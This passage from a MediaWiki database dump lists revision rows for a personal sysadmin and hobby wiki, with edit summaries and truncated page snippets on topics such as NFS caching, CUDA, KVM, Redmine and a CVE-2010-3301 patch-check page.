http://www.milw0rm.com/',1,'WikiAdmin','20100418133315',0,0,95,0),(951,288,949,'',1,'WikiAdmin','20100419122615',0,0,122,950),(954,289,952,'New page:   \'\'\'Papers\'\'\':  http://www.poly.usf.edu/documents/cereal/docs/C19%20-%20%20EIAE%20-%20softice%20techy%20stuff.pdf   SOFTICE Wiki  http://softice.lakeland.usf.edu/wiki/index.php/Special:Al...',1,'WikiAdmin','20100509194249',0,0,295,0),(955,290,953,'New page:  \'\'\'Glue:\'\'\'  http://stripesnoop.sourceforge.net   \'\'\'JavaPOS References:\'\'\'  http://www.javapos.com/downloads/UnifiedPOSVersion1.7.pdf  http://www.javapos.com/docs.html  http://jposloader...',1,'WikiAdmin','20100509205936',0,0,686,0),(957,291,955,'New page: There are many \"How to compile a kernel the {distro of your choice} way\" and these are usually great guides. However, there are steps which are sometimes not well explained, or other aspec...',1,'WikiAdmin','20100514134617',0,0,2042,0),(958,291,956,'',1,'WikiAdmin','20100514135002',0,0,2110,957),(1265,291,1263,'',1,'WikiAdmin','20101207004815',0,0,3707,958),(1282,291,1280,'/* New Notes */',1,'WikiAdmin','20101216232026',0,0,4316,1265),(959,292,957,'New page:   Trying to add users in dsgw on CentOS gives an error  http://www.redhat.com/docs/manuals/dir-server/8.1/schema/nsAIMpresence.html  Installed the newer version 1.2.6.a3 (Alpha 3) of ds-ba...',1,'WikiAdmin','20100514204623',0,0,397,0),(960,292,958,'',1,'WikiAdmin','20100514205104',0,0,1040,959),(961,292,959,'',1,'WikiAdmin','20100514210359',0,0,1209,960),(962,292,960,'',1,'WikiAdmin','20100515023303',0,0,1380,961),(963,292,961,'',1,'WikiAdmin','20100515032301',0,0,1913,962),(964,292,962,'',1,'WikiAdmin','20100515042245',0,0,2036,963),(965,292,963,'',1,'WikiAdmin','20100515042522',0,0,2143,964),(966,292,964,'',1,'WikiAdmin','20100516171337',0,0,2213,965),(967,292,965,'',1,'WikiAdmin','20100518183049',0,0,2507,966),(968,292,966,'',1,'WikiAdmin','20100519191623',0,0,2622,967),(972,292,970,'',1,'WikiAdmin','20100531210125',0,0,2753,968),(970,293,968,'New page: Installing Warcraft 3 ROC on Linux itself is fairly straight forward:  *Install the game with Wine / Crossover Games *[http://us.blizzard.com/support/article.xml?articleId=21220 Download] ...',1,'WikiAdmin','20100523043520',0,0,1431,0),(971,294,969,'New page:  \'\'\'Importing from LDAP\'\'\'  http://docs.limesurvey.org/tiki-index.php?page=Tokens+in+Version+1.85#LDAP_import  http://docs.limesurvey.org/tiki-index.php?page=LDAP+settings&highlight=tokens...',1,'WikiAdmin','20100526203951',0,0,523,0),(973,295,971,'New page:  \'\'\'CentOS\'\'\'  Mirror List:  http://www.centos.org/modules/tinycontent/index.php?id=30  Set up a cron job to rsync your version, such as:   rsync -vaqzH --delete mirrors.usc.edu::centos/5....',1,'WikiAdmin','20100602180502',0,0,490,0),(978,295,976,'',1,'WikiAdmin','20100604152135',0,0,625,973),(975,296,973,'New page: If you are setting up a domain in Cpanel to use Gmail, see:  Configuring Your MX Records: cPanel  http://www.google.com/support/a/bin/answer.py?answer=54717  And this site which has a bit ...',1,'WikiAdmin','20100604035319',0,0,508,0),(980,297,978,'New page: == iozone ==  A great introductory tutorial on iozone is [http://www.listown.com/rssdetial/16200.htm here] and another one [http://www.cyberciti.biz/tips/linux-filesystem-benchmarking-with...',1,'WikiAdmin','20100607201406',0,0,1641,0),(981,297,979,'/* iozone */',1,'WikiAdmin','20100607205421',0,0,1663,980),(985,297,983,'/* gnuplot References */',1,'WikiAdmin','20100610141756',0,0,1787,981),(996,297,994,'/* iozone */',1,'WikiAdmin','20100621181316',0,0,2174,985),(982,298,980,'New page:  http://nfs.sourceforge.net/  (See section: A8. What is close-to-open cache consistency? )   \'\'\'Testing Tools\'\'\'  Iozone  iotop -n  Clearing counters  NFS log tunable   \'\'\'Local NFS Cachin...',1,'WikiAdmin','20100608210401',0,0,900,0),(984,298,982,'',1,'WikiAdmin','20100610133643',0,0,1882,982),(983,299,981,'New page: While PHP is great to use with MySQL, it can be a bit overkill for simple operations. In such cases you might accomplish what you need with a bash script. Here is an example for pulling DN...',1,'WikiAdmin','20100609165109',0,0,1895,0),(987,300,985,'New page: From the official site http://jakarta.apache.org/jmeter  \'\'Apache JMeter  is open source software, a 100% pure Java desktop application designed to load test functional behavior and measur...',1,'WikiAdmin','20100617185650',0,0,2522,0),(988,300,986,'',1,'WikiAdmin','20100617190143',0,0,2990,987),(992,300,990,'',1,'WikiAdmin','20100618140827',0,0,3062,988),(993,300,991,'',1,'WikiAdmin','20100618141636',0,0,3297,992),(994,300,992,'',1,'WikiAdmin','20100618141915',0,0,3718,993),(1056,300,1054,'',1,'WikiAdmin','20100723144146',0,0,5067,994),(1057,300,1055,'/* Templates */',1,'WikiAdmin','20100723154505',0,0,5068,1056),(1058,300,1056,'/* Defining Test Threads */',1,'WikiAdmin','20100723154621',0,0,5074,1057),(1059,300,1057,'/* Defining Test Threads */',1,'WikiAdmin','20100723154644',0,0,5075,1058),(1060,300,1058,'/* Simple Data Writer */',1,'WikiAdmin','20100723154821',0,0,5075,1059),(1062,300,1060,'/* Templates */',1,'WikiAdmin','20100723164359',0,0,5237,1060),(1064,300,1062,'/* Templates */',1,'WikiAdmin','20100723165526',0,0,5453,1062),(989,301,987,'New page: == Seige ==  http://www.joedog.org/index/siege-home   siege -g -v -u https://domain.com  This will grab and display headers',1,'WikiAdmin','20100618130104',0,0,123,0),(990,301,988,'/* Seige */',1,'WikiAdmin','20100618130538',0,0,340,989),(991,302,989,'New page:    == Oak Ridge Facility ==    == Research ==    == Jaguar ==  http://www.nccs.gov/jaguar/',1,'WikiAdmin','20100618130745',0,0,90,0),(1024,302,1022,'/* Research */',1,'WikiAdmin','20100626224520',0,0,624,991),(1025,302,1023,'/* Research */',1,'WikiAdmin','20100626225203',0,0,756,1024),(1026,302,1024,'/* Research */',1,'WikiAdmin','20100626231210',0,0,1492,1025),(1031,302,1029,'',1,'WikiAdmin','20100629233051',0,0,1952,1026),(1032,302,1030,'/* Research */',1,'WikiAdmin','20100629233127',0,0,2001,1031),(1043,302,1041,'/* Research */',1,'WikiAdmin','20100715130201',0,0,2122,1032),(1114,302,1112,'/* Research */',1,'WikiAdmin','20100819013029',0,0,2397,1043),(1325,302,1323,'/* Genomics */',1,'WikiAdmin','20101221210142',0,0,2462,1114),(1346,302,1344,'/* Computational Biology Applications */',1,'WikiAdmin','20110104142021',0,0,2812,1325),(1347,302,1345,'/* Parallel Computing */',1,'WikiAdmin','20110104143432',0,0,2846,1346),(995,303,993,'New page: Here are various ideas we have for integrating into future house designs:   == Bathroom ==  Irish moss marble  Featured in this [http://trendsideas.com/ViewArticle.aspx?article=13685&regio...',1,'WikiAdmin','20100620001112',0,0,481,0),(1160,303,1158,'/* Bathroom */',5,'Mieren','20101010195615',0,0,624,995),(1161,303,1159,'/* Home Architectural Ideas */',5,'Mieren','20101010200338',0,0,619,1160),(1299,303,1297,'/* Bathroom */',5,'Mieren','20101219225102',0,0,1158,1161),(1362,303,1360,'/* Kitchen */',5,'Mieren','20110111161515',0,0,1656,1299),(997,304,995,'New page:   == CUDA ==  http://en.wikipedia.org/wiki/CUDA  http://www.nvidia.com/object/fermi_architecture.html  == Tutorials ==  http://llpanorama.wordpress.com/cuda-tutorial/',1,'WikiAdmin','20100622020945',0,0,166,0),(1069,304,1067,'/* Tutorials */',1,'WikiAdmin','20100724170349',0,0,364,997),(1073,304,1071,'/* Tutorials */',1,'WikiAdmin','20100728040239',0,0,619,1069),(1074,304,1072,'/* GPU Caps Viewer */',1,'WikiAdmin','20100728040355',0,0,677,1073),(1075,304,1073,'/* CUDA */',1,'WikiAdmin','20100728044058',0,0,918,1074),(1076,304,1074,'/* OpenCL */',1,'WikiAdmin','20100728044136',0,0,1032,1075),(1077,304,1075,'/* OpenCL */',1,'WikiAdmin','20100728044657',0,0,1205,1076),(1092,304,1090,'/* OpenCL */',1,'WikiAdmin','20100808105738',0,0,1309,1077),(1093,304,1091,'/* OpenCL */',1,'WikiAdmin','20100808105806',0,0,1381,1092),(1094,304,1092,'/* GPU Caps Viewer */',1,'WikiAdmin','20100808110316',0,0,2009,1093),(1095,304,1093,'/* GPU Caps Viewer */',1,'WikiAdmin','20100808111242',0,0,3401,1094),(1096,304,1094,'/* VirtualGL */',1,'WikiAdmin','20100808111305',0,0,3403,1095),(1097,304,1095,'/* Tutorials */',1,'WikiAdmin','20100808112110',0,0,5478,1096),(1098,304,1096,'/* Install / Compile Issues */',1,'WikiAdmin','20100808113804',0,0,8346,1097),(1099,304,1097,'/* CUDA */',1,'WikiAdmin','20100808114428',0,0,9105,1098),(1100,304,1098,'/* Overclocking */',1,'WikiAdmin','20100808115350',0,0,9250,1099),(1101,304,1099,'/* CUDA */',1,'WikiAdmin','20100808115518',0,0,9337,1100),(1102,304,1100,'/* Tutorials */',1,'WikiAdmin','20100808120005',0,0,9888,1101),(1103,304,1101,'/* Install / Compile Issues */',1,'WikiAdmin','20100808120506',0,0,9982,1102),(1104,304,1102,'/* GPU Caps Viewer */',1,'WikiAdmin','20100808123539',0,0,10264,1103),(1107,304,1105,'/* Install / Compile Issues */',1,'WikiAdmin','20100810012501',0,0,10702,1104),(1108,304,1106,'/* Tutorials */',1,'WikiAdmin','20100810012824',0,0,10713,1107),(1253,304,1251,'/* Install / Compile Issues */',1,'WikiAdmin','20101121145027',0,0,12653,1108),(1254,304,1252,'/* Install / Compile Issues */',1,'WikiAdmin','20101121152538',0,0,12666,1253),(1255,304,1253,'/* CUDA SDK 3.2 Update */',1,'WikiAdmin','20101122000658',0,0,12739,1254),(1285,304,1283,'/* GPU Caps Viewer */',1,'WikiAdmin','20101217000242',0,0,13059,1255),(1320,304,1318,'/* Now what? */',1,'WikiAdmin','20101221202730',0,0,13226,1285),(1321,304,1319,'/* Books */',1,'WikiAdmin','20101221202806',0,0,13306,1320),(998,305,996,'New page:   == Data Matrix Codes ==  http://www.libdmtx.org/  Home of the libraries necessary to decode / encore data matrix codes vi the utilities  dmtxquery        dmtxread         dmtxwrite  == Q...',1,'WikiAdmin','20100622022306',0,0,583,0),(999,306,997,'New page:  EVGA GeForce GT 220 FTW Video Card - 1024MB DDR3, PCI-Express 2.0, DVI, HDMI, VGA  Cuda capable   Item Number: 	E145-0224  $64 Tiger until 31 July (reg $99)  (48 cores)   EVGA 512-P3-1242...',1,'WikiAdmin','20100622022427',0,0,573,0),(1050,306,1048,'',1,'WikiAdmin','20100720230724',0,0,909,999),(1051,306,1049,'',1,'WikiAdmin','20100720230858',0,0,953,1050),(1052,306,1050,'',1,'WikiAdmin','20100720231914',0,0,963,1051),(1053,306,1051,'',1,'WikiAdmin','20100720233105',0,0,1083,1052),(1082,306,1080,'',1,'WikiAdmin','20100802002732',0,0,1218,1053),(1001,307,999,'New page: These are rough notes of how to install NFS Caching, consisting of using a kernel with the necessary configs, the required kernel module (fscache), building nfs-utils to support the new mo...',1,'WikiAdmin','20100622140923',0,0,3877,0),(1002,308,1000,'New page:  == Documentation ==  http://download.uib.de/doku/opsi-getting-started-v34-en.pdf  http://download.uib.de/opsi_stable/doku//depotserver_installation_en.pdf  Pretty rough translations from ...',1,'WikiAdmin','20100622205049',0,0,1776,0),(1003,308,1001,'/* Documentation */',1,'WikiAdmin','20100623133728',0,0,2331,1002),(1004,308,1002,'/* Install CD */',1,'WikiAdmin','20100623145701',0,0,2575,1003),(1005,308,1003,'/* Install CD */',1,'WikiAdmin','20100623162640',0,0,2659,1004),(1006,308,1004,'/* Install CD */',1,'WikiAdmin','20100623181016',0,0,2880,1005),(1007,308,1005,'/* Install CD */',1,'WikiAdmin','20100623191626',0,0,2943,1006),(1008,308,1006,'/* PXE Menu */',1,'WikiAdmin','20100623193913',0,0,3403,1007),(1009,308,1007,'/* Troubleshooting */',1,'WikiAdmin','20100623193957',0,0,3485,1008),(1010,308,1008,'/* Troubleshooting */',1,'WikiAdmin','20100624155515',0,0,3856,1009),(1011,308,1009,'/* Troubleshooting */',1,'WikiAdmin','20100624161135',0,0,4506,1010),(1012,308,1010,'/* Key Management */',1,'WikiAdmin','20100624173907',0,0,4808,1011),(1013,308,1011,'/* Documentation */',1,'WikiAdmin','20100624180935',0,0,4867,1012),(1014,308,1012,'/* Drivers */',1,'WikiAdmin','20100624201207',0,0,5328,1013),(1015,308,1013,'/* Drivers */',1,'WikiAdmin','20100624235722',0,0,6143,1014),(1016,308,1014,'/* Drivers */',1,'WikiAdmin','20100625000652',0,0,6152,1015),(1017,308,1015,'/* Troubleshooting */',1,'WikiAdmin','20100625001423',0,0,6380,1016),(1018,308,1016,'/* Drivers */',1,'WikiAdmin','20100625125948',0,0,6534,1017),(1019,308,1017,'/* Key Management */',1,'WikiAdmin','20100625133738',0,0,7402,1018),(1020,308,1018,'/* Software Distribution */',1,'WikiAdmin','20100625134455',0,0,7577,1019),(1021,308,1019,'',1,'WikiAdmin','20100625141012',0,0,8348,1020),(1022,308,1020,'/* Software Distribution */',1,'WikiAdmin','20100625145322',0,0,8611,1021),(1023,308,1021,'/* Software Distribution */',1,'WikiAdmin','20100625152255',0,0,9788,1022),(1041,308,1039,'',1,'WikiAdmin','20100714204439',0,0,11645,1023),(1027,309,1025,'New page: This wiki contains a number of articles written for a variety of purposes and audiences. Some are complete instructional or reference articles, others are outlines of future articles for p...',1,'WikiAdmin','20100629231415',0,0,1178,0),(1029,309,1027,'',1,'WikiAdmin','20100629232254',0,0,1192,1027),(1113,309,1111,'',1,'WikiAdmin','20100812140204',0,0,1209,1029),(1033,310,1031,'New page:  There are several handy ways to update alternative for Java versions, default mail server and other things. Here is a list of some useful ones:  \'\'\'Java\'\'\'  update-alternatives --config j...',1,'WikiAdmin','20100704200432',0,0,281,0),(1194,310,1192,'',1,'WikiAdmin','20101028174847',0,0,533,1033),(1039,311,1037,'New page: == Acknowledgment ==  Thanks to Dan Thomas, a friend of mine and fellow student at SPC who created this PHP based web interface and database for the smarttest script. We are using this wit...',1,'WikiAdmin','20100713200847',0,0,2361,0),(1055,311,1053,'/* Web Interface */',1,'WikiAdmin','20100722204859',0,0,2415,1039),(1042,312,1040,'New page: == Diving Operators ==  \'\'\'Florida\'\'\'  http://www.silentworldkeylargo.com/instruction/tech_train.html  http://www.tildensscubacenter.com/  http://www.floridakeysdivectr.com/  A great resta...',1,'WikiAdmin','20100715012557',0,0,440,0),(1235,312,1233,'',1,'WikiAdmin','20101109142606',0,0,487,1042),(1044,313,1042,'New page:  == Reference Sites: ==  A couple of good general RAID management sites:  http://www.gentoo.org/doc/en/gentoo-x86+raid+lvm2-quickinstall.xml  http://www.linux.org/docs/ldp/howto/Software-R...',1,'WikiAdmin','20100716142620',0,0,1482,0),(1084,313,1082,'/* Troubleshooting: */',1,'WikiAdmin','20100802204701',0,0,2115,1044),(1061,314,1059,'Jmeter Config For Kelby Cluster',1,'WikiAdmin','20100723163716',0,0,31,0),(1063,315,1061,'',1,'WikiAdmin','20100723165102',0,0,0,0),(1067,316,1065,'New page:  == Knoxville ==  Links to potential homes:  http://www.singletreerealtytn.com/property/719821/KAARMLS/  http://www.singletreerealtytn.com/property/723987/KAARMLS/  http://www.singletreere...',5,'Mieren','20100724154347',0,0,583,0),(1070,316,1068,'/* Knoxville */',1,'WikiAdmin','20100724171106',0,0,654,1067),(1068,317,1066,'New page: == Tutorials & Forums ==  http://openmp.org/forum/  Excellent resources and intro tutorials on MPI and Parallel Computing can be found at the Lawrence Livermore National Lab site:  https:/...',1,'WikiAdmin','20100724165628',0,0,704,0),(1071,318,1069,'New page: Blog Post about E8 and making a flash simulator:  http://troyworks.com/blog/2008/10/18/case-study-the-e8-particle-simulator-for-garrett-lisi/  Flash E8 Simulator:   http://deferentialgeome...',1,'WikiAdmin','20100725222921',0,0,355,0),(1079,319,1077,'New page:  In a secure environment, having fast access to servers can be a good thing. It allows very very fast support without having to wait for credentials, etc. (Yes, some could argue how very d...',1,'WikiAdmin','20100728074537',0,0,1138,0),(1106,319,1104,'/* Debian / Ubuntu */',1,'WikiAdmin','20100809180409',0,0,1150,1079),(1112,319,1110,'/* Debian / Ubuntu */',1,'WikiAdmin','20100810152742',0,0,1165,1106),(1081,320,1079,'New page: A decent intro tutorial can be found [http://www.linuxforu.com/how-to/the-art-of-guard-part-2-selinux-modes-and-policies/ here]',1,'WikiAdmin','20100728210425',0,0,127,0),(1180,320,1178,'',1,'WikiAdmin','20101014200749',0,0,193,1081),(1085,321,1083,'New page:   Wireshark, of course, but also these are handy tools:  http://ssscripting.wordpress.com/2009/03/17/how-to-submit-a-form-programmatically/  https://addons.mozilla.org/en-US/firefox/addon/...',1,'WikiAdmin','20100802204943',0,0,192,0),(1087,321,1085,'',1,'WikiAdmin','20100805235619',0,0,289,1085),(1086,322,1084,'New page: == Browser Traffic ==  Once connected, your default route is set to the VPN interface (tun0, ppp0, etc.) and all traffic is thus sent to it. In order to direct only internal traffic to the...',1,'WikiAdmin','20100805031610',0,0,824,0),(1091,323,1089,'New page: Here are some fun applications which take advantage of parallel processing using NVIDIA\'s CUDA architecture:  \'\'\'Distributed Computing:\'\'\'   [http://www.gpugrid.net/ GPUGRID]  \"GPUGRID.net...',1,'WikiAdmin','20100807202004',0,0,870,0),(1115,323,1113,'',1,'WikiAdmin','20100819013410',0,0,1119,1091),(1245,323,1243,'/* Security / Hacking: */',1,'WikiAdmin','20101116205626',0,0,1311,1115),(1109,324,1107,'New page: See man smartd for full details  To show what tests are scheduled in /etc/smartd.conf run   #smartd -q showtests  To add a test email, add -M test   Here is an example of a custom test:  <...',1,'WikiAdmin','20100810135525',0,0,642,0),(1110,324,1108,'',1,'WikiAdmin','20100810135801',0,0,1023,1109),(1111,324,1109,'',1,'WikiAdmin','20100810142843',0,0,1382,1110),(1116,325,1114,'New page:   http://processors.wiki.ti.com/index.php/EZ430-Chronos  http://processors.wiki.ti.com/index.php/Chronos_Flying_Mouse#Chronos_Flying_Mouse_Setup  http://www.ti.com/corp/docs/landing/mcu/in...',1,'WikiAdmin','20100819174140',0,0,226,0),(1120,326,1118,'New page:  [http://www.whoopis.com/howtos/fedora_64_32_rpm_emul.html How to install different architecture binaries on Linux]',1,'WikiAdmin','20100824141526',0,0,115,0),(1122,327,1120,'New page: http://en.wikipedia.org/wiki/Garbage_project  Fascinating project which has produced interesting findings by studying landfill refuse.   Here is an interesting NY Times [http://query.nytim...',1,'WikiAdmin','20100911022350',0,0,502,0),(1137,327,1135,'',1,'WikiAdmin','20100926160327',0,0,1050,1122),(1124,328,1122,'New page: == virt-manager ==  To launch virt-manger locally, and initiate a connection to a remote system\'s hypervisor use:   paracelsus@callandor:~$ virt-manager -c qemu+ssh://user@host.com:22/syst...',1,'WikiAdmin','20100915122231',0,0,678,0),(1125,328,1123,'/* virt-manager */',1,'WikiAdmin','20100915124243',0,0,912,1124),(1126,328,1124,'/* virt-manager */',1,'WikiAdmin','20100915131033',0,0,1040,1125),(1127,328,1125,'/* virt-manager */',1,'WikiAdmin','20100915131224',0,0,1210,1126),(1128,328,1126,'/* virt-manager */',1,'WikiAdmin','20100915132847',0,0,1253,1127),(1129,328,1127,'/* virt-manager */',1,'WikiAdmin','20100915133048',0,0,1412,1128),(1130,328,1128,'/* Managing KVM  guests */',1,'WikiAdmin','20100915174525',0,0,1897,1129),(1131,328,1129,'/* XML Guest Config Files */',1,'WikiAdmin','20100917134521',0,0,2037,1130),(1279,328,1277,'/* KVM and Networking */',1,'WikiAdmin','20101216161208',0,0,3158,1131),(1280,328,1278,'/* virt-manager */',1,'WikiAdmin','20101216162641',0,0,5570,1279),(1317,328,1315,'/* KVM and Networking */',1,'WikiAdmin','20101221192137',0,0,5904,1280),(1136,329,1134,'New page:  == Luster ==  == HPSS ==  From the official site: \'\'HPSS is software that manages petabytes of data on disk and robotic tape libraries. HPSS provides highly flexible and scalable hierarch...',1,'WikiAdmin','20100926152335',0,0,679,0),(1140,330,1138,'New page: (I discovered the below trick from [http://www.cupfighter.net/index.php/2009/06/undocumented-equallogic-cli-commands/ here] and [http://www.cupfighter.net/index.php/2010/04/undocumented-eq...',1,'WikiAdmin','20101001123842',0,0,2389,0),(1173,330,1171,'',1,'WikiAdmin','20101012151536',0,0,2513,1140),(1141,331,1139,'New page: == Acer Aspire One ==  Acer Aspire One (Crappy Intel SSD - SSDPAMM0008G1)  dmesg: scsi 1:0:0:0: Direct-Access     ATA      SSDPAMM0008G1    Ver2 PQ: 0 ANSI: 5 sd 1:0:0:0: [sda] 15761088 51...',1,'WikiAdmin','20101001202433',0,0,7165,0),(1143,332,1141,'New page:   wget http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm wget http://rpms.famillecollet.com/enterprise/remi-release-5.rpm wget  http://apt.sw.be/redhat/el5/en/i...',1,'WikiAdmin','20101001202904',0,0,246,0),(1144,332,1142,'',1,'WikiAdmin','20101001203305',0,0,413,1143),(1145,333,1143,'New page: == Power off Unresponsive VM ==  http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1004340   # vmware-cmd -l  # vmware-cmd <path.vmx> stop  # vm...',1,'WikiAdmin','20101004140351',0,0,449,0),(1146,334,1144,'New page: When trying to install this in Suse there are a few points where the installer hangs, or has missing dependencies. The main issues I found and their solutions follow. These may well apply ...',1,'WikiAdmin','20101004200033',0,0,3263,0),(1203,334,1201,'/* postgresplus-8.4.1-2-linux-x64.bin Installer Issues */',1,'WikiAdmin','20101102114425',0,0,3265,1146),(1147,335,1145,'New page:  == Potential Degree Programs ==  http://gst.tennessee.edu/biophys.html  http://catalog.utk.edu/preview_program.php?catoid=5&poid=1554  http://web.bio.utk.edu/bcmb/undergrad/Undergraduate_...',1,'WikiAdmin','20101006234958',0,0,594,0),(1278,335,1276,'',1,'WikiAdmin','20101214175420',0,0,673,1147),(1148,336,1146,'New page:   http://publib.boulder.ibm.com/infocenter/lnxinfo/v3r0m0/topic/liaab/ic-homepage.htm',1,'WikiAdmin','20101006235205',0,0,85,0),(1149,337,1147,'New page: == Intro and Installing ==  I found this [http://www.how2centos.com/installing-redmine-subversion-on-centos-5-5/ install guide] to be very helpful. (A few other install links are given bel...',1,'WikiAdmin','20101007134429',0,0,2376,0),(1151,337,1149,'/* Intro and Installing */',1,'WikiAdmin','20101007135513',0,0,2450,1149),(1152,337,1150,'/* Other Issues */',1,'WikiAdmin','20101007144233',0,0,2529,1151),(1153,337,1151,'/* Other Issues */',1,'WikiAdmin','20101008115935',0,0,4552,1152),(1154,337,1152,'/* Other Issues */',1,'WikiAdmin','20101008120426',0,0,5113,1153),(1155,337,1153,'/* Intro and Installing */',1,'WikiAdmin','20101008120533',0,0,5206,1154),(1156,337,1154,'/* LDAP */',1,'WikiAdmin','20101008123703',0,0,5273,1155),(1191,337,1189,'/* Account Management */',1,'WikiAdmin','20101027184100',0,0,5463,1156),(1192,337,1190,'/* Account Management */',1,'WikiAdmin','20101027190726',0,0,5451,1191),(1193,337,1191,'/* Init scripts */',1,'WikiAdmin','20101027191142',0,0,6033,1192),(1213,337,1211,'/* Plugins */',1,'WikiAdmin','20101103175643',0,0,7230,1193),(1214,337,1212,'/* Plugins */',1,'WikiAdmin','20101103175818',0,0,7230,1213),(1215,337,1213,'/* Plugins */',1,'WikiAdmin','20101103175911',0,0,7315,1214),(1216,337,1214,'/* Intro and Installing */',1,'WikiAdmin','20101103180113',0,0,7536,1215),(1217,337,1215,'/* Starting / Stopping Redmine */',1,'WikiAdmin','20101103180453',0,0,7828,1216),(1218,337,1216,'/* Starting / Stopping */',1,'WikiAdmin','20101103180507',0,0,7248,1217),(1219,337,1217,'/* Email Config */',1,'WikiAdmin','20101103182142',0,0,7884,1218),(1221,337,1219,'/* Other Issues */',1,'WikiAdmin','20101103202149',0,0,8125,1219),(1226,337,1224,'/* Plugins */',1,'WikiAdmin','20101105142733',0,0,8154,1221),(1227,337,1225,'/* Plugins */',1,'WikiAdmin','20101105172038',0,0,8411,1226),(1228,337,1226,'/* Other Issues */',1,'WikiAdmin','20101105185744',0,0,8835,1227),(1229,337,1227,'/* Plugins */',1,'WikiAdmin','20101105185903',0,0,9034,1228),(1230,337,1228,'/* Troubleshooting */',1,'WikiAdmin','20101105190000',0,0,9200,1229),(1231,337,1229,'/* Plugins */',1,'WikiAdmin','20101105202314',0,0,10598,1230),(1232,337,1230,'/* Subversion */',1,'WikiAdmin','20101105202647',0,0,10755,1231),(1259,337,1257,'/* Email Config */',1,'WikiAdmin','20101129125040',0,0,10885,1232),(1150,338,1148,'',1,'WikiAdmin','20101007135401',0,0,0,0),(1157,339,1155,'New page:  http://en.wikipedia.org/wiki/Core_wars  http://www.corewar.info/emulator.htm  http://sal.math.ualberta.ca/index.php  \'\'\'pMars (use this)\'\'\'  http://www.koth.org/pmars/   wget ftp://ftp.un...',1,'WikiAdmin','20101008141959',0,0,867,0),(1158,339,1156,'',1,'WikiAdmin','20101008142343',0,0,1216,1157),(1159,339,1157,'',1,'WikiAdmin','20101008202434',0,0,1636,1158),(1163,339,1161,'',1,'WikiAdmin','20101010222513',0,0,2646,1159),(1164,339,1162,'/* Get Core War */',1,'WikiAdmin','20101010223021',0,0,2843,1163),(1165,339,1163,'',1,'WikiAdmin','20101011115559',0,0,3068,1164),(1162,340,1160,'New page: OpenOffice is a great open source office suite. I constantly recommend it to people as a substitute to commercial products. Sometimes new users need help getting started with it though, an...',1,'WikiAdmin','20101010213921',0,0,3037,0),(1166,341,1164,'New page: == Documentation ==  A specific Linux version of the book \"The Art of Assembly Language Programming\" is available for download [http://homepage.mac.com/randyhyde/webster.cs.ucr.edu/www.art...',1,'WikiAdmin','20101011120920',0,0,916,0),(1167,341,1165,'/* Documentation */',1,'WikiAdmin','20101011121247',0,0,1095,1166),(1168,342,1166,'New page:  == RHEL 64 Bit IA32 syscall CVE-2010-3301 ==  https://bugzilla.redhat.com/show_bug.cgi?id=634449  http://seclists.org/fulldisclosure/2010/Sep/268  http://web.nvd.nist.gov/view/vuln/detail...',1,'WikiAdmin','20101011222543',0,0,209,0),(1174,342,1172,'/* RHEL 64 Bit IA32 syscall CVE-2010-3301 */',1,'WikiAdmin','20101012160503',0,0,425,1168),(1178,342,1176,'',1,'WikiAdmin','20101014194904',0,0,944,1174),(1179,342,1177,'/* Am I Patched? */',1,'WikiAdmin','20101014195034',0,0,1042,1178),(1169,343,1167,'New page:  Here is a good [http://www.linuxweblog.com/node/288 quick start guide].  Though not limited to Postgre, this is an interesting site on using PHPs [http://www.phpro.org/tutorials/Introduct...',1,'WikiAdmin','20101012115520',0,0,222,0),(1171,343,1169,'',1,'WikiAdmin','20101012120525',0,0,551,1169),(1170,344,1168,'New page: == Config Files ==   sites/default/settings.php  == Postgre SQL ==  See [http://pgedit.com/install_drupal this site] for an example.  The pg_hba.conf file in Postgres controls access, with...',1,'WikiAdmin','20101012120116',0,0,693,0),(1172,344,1170,'/* Config Files */',1,'WikiAdmin','20101012131517',0,0,781,1170),(1175,345,1173,'New page:  == Plasmoid Tips ==  Plasmoids can be installed as packages. Further, you can run them in plasmoid-viewer to help debug the. See [http://techbase.kde.org/Development/Tutorials/Plasma this...',1,'WikiAdmin','20101012172654',0,0,349,0),(1177,346,1175,'New page: == Intro ==  gnutls allows you to host multiple SSL sites on one IP address. Each site can have it\'s own certificate, or you can just share one wildcard cert between them all.   Who cares?...',1,'WikiAdmin','20101014194220',0,0,3127,0),(1181,347,1179,'New page: When connecting to a Subversion repository using the command line, the SVN client will ask if you want to store your password unencrypted on disk. This of course is a bad idea.   This arti...',1,'WikiAdmin','20101015150140',0,0,4355,0),(1182,347,1180,'/* Password Storing Prompt */',1,'WikiAdmin','20101015152545',0,0,4507,1181),(1183,347,1181,'/* Password Storing Prompt */',1,'WikiAdmin','20101015152801',0,0,4797,1182),(1184,347,1182,'/* Storing Passwords Securely */',1,'WikiAdmin','20101015175218',0,0,5377,1183),(1186,348,1184,'New page: == spamc ==  Worried your emails to someone might be getting flagged as spam?  Spamassassin is very widely used, so it would be nice to know what your outgoing email might score when it hi...',1,'WikiAdmin','20101020191323',0,0,921,0),(1187,348,1185,'/* spamc */',1,'WikiAdmin','20101020192012',0,0,1169,1186),(1195,349,1193,'New page:   == Exchange Integration ==    == LDAP ==   \'\'\'LDAP Address Book\'\'\'  You can easily add an LDAP server as an address book. See [http://cs.its.uiowa.edu/email/ldap/evolution-12.shtml this ...',1,'WikiAdmin','20101028200856',0,0,461,0),(1198,350,1196,'New page:  == KDE kst & Arduino Live Measurements ==  This project comes from Linux Journal Issue 196  Tie an Arduino into KDE\'s kst / kst2 graphing tool to create graphs of live measurements. Very ...',1,'WikiAdmin','20101030145009',0,0,638,0),(1201,351,1199,'New page: When using partitions larger than 2TB in Linux, you must create a GID partition table using parted. The MS-DOS partition tables created with fdisk will not work on volume larger than 2TB. ...',1,'WikiAdmin','20101101181606',0,0,1329,0),(1202,351,1200,'',1,'WikiAdmin','20101101205213',0,0,1439,1201),(1225,351,1223,'',1,'WikiAdmin','20101104210513',0,0,1718,1202),(1204,352,1202,'New page: == Reference Sites ==  [http://www.postgresonline.com/special_feature.php?sf_name=postgresql83_psql_cheatsheet&outputformat=html Quickreference Guide] is pretty handy.',1,'WikiAdmin','20101102114732',0,0,167,0),(1205,353,1203,'New page: == Intro ==  Hard drive manufacturers are beginning to implement [http://en.wikipedia.org/wiki/Advanced_Format Advanced Format] 4k sector sizes in newer drives. Benefits of using 4k sector...',1,'WikiAdmin','20101102172406',0,0,5072,0),(1206,353,1204,'/* Impact on Lab Systems */',1,'WikiAdmin','20101102174406',0,0,6105,1205),(1207,353,1205,'/* Partition Alignment 